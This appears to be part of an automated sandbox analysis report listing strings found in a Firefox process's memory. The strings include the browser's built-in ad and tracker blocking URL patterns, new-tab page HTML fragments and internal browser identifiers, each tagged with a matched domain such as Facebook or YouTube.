Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B49103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B49103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4455F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4455F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B4537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"user": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B4537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"user": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: experimental.hideHeuristicmaxHistoricalSearchSuggestionsDOM_VK_WIN_OEM_FJ_MASSHOUremoveDocumentStateListenerhttps://www.youtube.com/accountget _arrowNavigableWalkerDOM_VK_CLOSE_CURLY_BRACKET.panel-header > h1 > spansetSpellcheckUserOverride_getBoundsWithoutFlushingMust provide a boolean argumentincrementModificationCount equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fingerprinting-annotationhttps://www.youtube.com/accountfingerprinting-annotationsocialtracking-annotation_isMixedActiveContentLoaded_isMixedActiveContentBlockedgetLocalizedFragment/partIndex<get _isMixedActiveContentBlocked_isMixedPassiveContentLoadedSTATE_IDENTITY_EV_TOPLEVEL_isAboutHttpsOnlyErrorPageusesClickInsteadOfCommandsocialtracking-annotationhttps://www.youtube.com/accountget _isMixedActiveContentLoadedget _isMixedPassiveContentLoadedget _isCertUserOverriddenSTATE_CERT_USER_OVERRIDDENget _isAboutHttpsOnlyErrorPage_isPotentiallyTrustworthy@mozilla.org/remote/agent;1applicationProvidedHiddenWindow_isContentHttpsOnlyModeUpgradedSTATE_HTTPS_ONLY_MODE_UPGRADEDbrowser.quitShortcut.disabled_isContentHttpsFirstModeUpgraded@mozilla.org/remote/marionette;1PageActions._initBuiltInActionsstartEventLoopLagTrackinghttps://www.youtube.com/accountdraggableregionleftmousedownhttps://www.youtube.com/accountget _identityPopupMultiViewget _httpsOnlyModeEnabledPBMget _httpsFirstModeEnabled_httpsFirstModeEnabledPBMenableMixedContentProtection_identityPopupContentOwnernsIHttpsOnlyModePermissionget _httpsOnlyModeEnabled_identityPopupSecurityViewget _identityPopupContentOwnerdisableMixedContentProtectiondom.security.https_only_modeLOAD_INSECURE_ALLOW_SESSIONidentity-popup-securityViewget _identityPopupContentSuppdom.security.https_only_mode_pbmget _httpsFirstModeEnabledPBMget _isPotentiallyTrustworthy_identityPopupContentVerifget _identityPopupContentVerifMIXED_CONTENT_UNBLOCK_COUNTERget _identityPopupMainViewidentity-popup-content-verifierget _identityPopupSecurityView_identityPopupContentSupp.identity-popup-mcb-learn-more_insecureConnectionIconEnabledidentity-popup-content-owner_insecureConnectionTextEnabledidentity-popup-security-buttonkMIXED_CONTENT_UNBLOCK_EVENTdom.security.https_first_pbmbrowser-fullZoom:location-changeFullZoom__applyPrefToZoom/<FullZoom__getTargetedBrowserbrowser.content.full-zoomFullZoom__applyZoomToPref/<identity.extension.tooltiphttp://www.w3.org/1999/xhtmlFullZoom_onContentPrefRemovedFullZoom__onContentPrefChanged_isNextContentPrefChangeInternalFullZoom__applyPrefToZoomhandleIdentityButtonEventbrowser.zoom.siteSpecificFullZoom__applyZoomToPrefpointerlockFsWarningClassNameFullZoom__getBrowserToken_hasInvalidPageProxyState_trackingProtectionIconContainerchangeHttpsOnlyPermissionUnexpected zoom event sourcesecure-cert-user-overriddenidentity-site-informationidentity.ev.contentOwner2browser.content.full-zoomidentity.notSecure.tooltipcertErrorPage notSecureTextidentity.identified.verifierFullZoom_onContentPrefSetFullZoom_onLocationChangeFullZoom__loadContextFromBrowserFullZoom__notifyOnLocationChange_ignorePendingZoomAccesseswidget-overflow-fixed-listbrowser.fullscreen.autohidecustomizationui-widget-multiview_formatDescriptionMessageupdateNotifications/doorhangers<fetchuserConfiguration: _refreshNotificationPanelselectAndMarkItem/viewShownCB/<web-developer-tools-view-showingappmenu-developer-tools-viewensureWhatsNewInitializedappMenu-no
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp://.adsafeprotected.com/jsvid?*://.adsafeprotected.com//Serving/://.adsafeprotected.com//imp/color-mix(in srgb, currentColor 9%, transparent)--autocomplete-popup-separator-color://pubads.g.doubleclick.net/gampad/ad*://ads.stickyadstv.com/auto-user-sync--panel-banner-item-update-supported-bgcolor--panel-banner-item-info-icon-bgcolorcolor-mix(in srgb, currentColor 9%, transparent)://vast.adsafeprotected.com/vast://www.facebook.com/platform/impression.phpexecuteIDB/promise</transaction.onabort equals www.facebook.com (Facebook)
